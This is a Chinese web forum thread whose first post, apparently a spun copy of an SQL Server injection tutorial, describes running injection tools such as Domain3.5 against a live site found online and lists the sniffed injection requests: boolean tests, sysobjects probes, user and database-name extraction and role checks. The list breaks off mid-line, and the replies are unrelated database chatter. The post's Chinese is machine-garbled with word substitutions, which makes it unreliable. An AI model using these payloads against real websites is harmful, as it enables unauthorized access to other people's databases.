仓酷云

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 973|回复: 6
打印 上一主题 下一主题

[学习教程] MSSQL网页编程之实战:周全懂得SQLServer注进历程

[复制链接]
兰色精灵 该用户已被删除
跳转到指定楼层
楼主
发表于 2015-1-16 22:15:37 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
提供用于管理、检查、优化数据库操作的管理工具。</p>想懂得sql注进的历程和道理,网上找了些文章,讲得都对照浅薄,可是我晓得有几款国际对照经常使用的注进工具,好比Domain3.5、NBSI3.0、啊D2.32、另有Pangolin、另有一些外洋的。这里任意弄几个来研讨一下就ok。此次用到的嗅探工具是sniffx专门嗅探http的数据包,功效不壮大,可是充足此次举动的利用。原本想利用ethereal或wireshark,可是内里复制数据包内容总是把没有转码的16进制也复制了过去,有点贫苦。也就是说这两个工具用得不纯熟。
【查询数据库信息】

当地没有找到好点的有注进毛病的体系,只幸亏网上寻觅了,先用Domain3.5,运转很好以来就找到个sqlserver,sa权限的注进点,点Domain3.5下面的“入手下手检测”

以下是Domain3.5中嗅探出来的http数据包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int&ndash;
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0
柔情似水 该用户已被删除
沙发
发表于 2015-1-19 06:18:50 | 只看该作者
理解了存储结构,再阅读下性能优化的章节基本上会对sqlserver有个清晰地认识
admin 该用户已被删除
板凳
发表于 2015-1-26 14:49:19 | 只看该作者
再开发调试阶段和OLAP环境中,外键是可以建立的。新版本中加入了SETNULL和SETDEFAULT属性,能够提供能好的级联设置。
飘灵儿 该用户已被删除
地板
发表于 2015-2-4 18:48:47 | 只看该作者
多走走一此相关论坛,多看一些实例开发,多交流0经验,没什么的,我也是刚学没多久!加油
爱飞 该用户已被删除
5#
发表于 2015-2-10 05:23:39 | 只看该作者
只能告诉你,学好数据库语言和原理,多见识几种数据库软件,比一棵树上吊死要好。
再见西城 该用户已被删除
6#
发表于 2015-2-28 21:42:46 | 只看该作者
如果处理少量数据,比如几百条记录的数据,我不知道这两种情况哪个效率更高,如果处理大量数据呢?比如有表中有20万条记录.
兰色精灵 该用户已被删除
7#
 楼主| 发表于 2015-3-10 08:31:48 | 只看该作者
其实可以做一下类比,Oracle等数据库产品老早就支持了java编程,而且提供了java池参数作为用户配置接口。但是现在有哪些系统大批使用了java存储过程?!连Oracle自己的应用都不用为什么?!
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|仓酷云 鄂ICP备14007578号-2

GMT+8, 2024-5-21 12:37

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表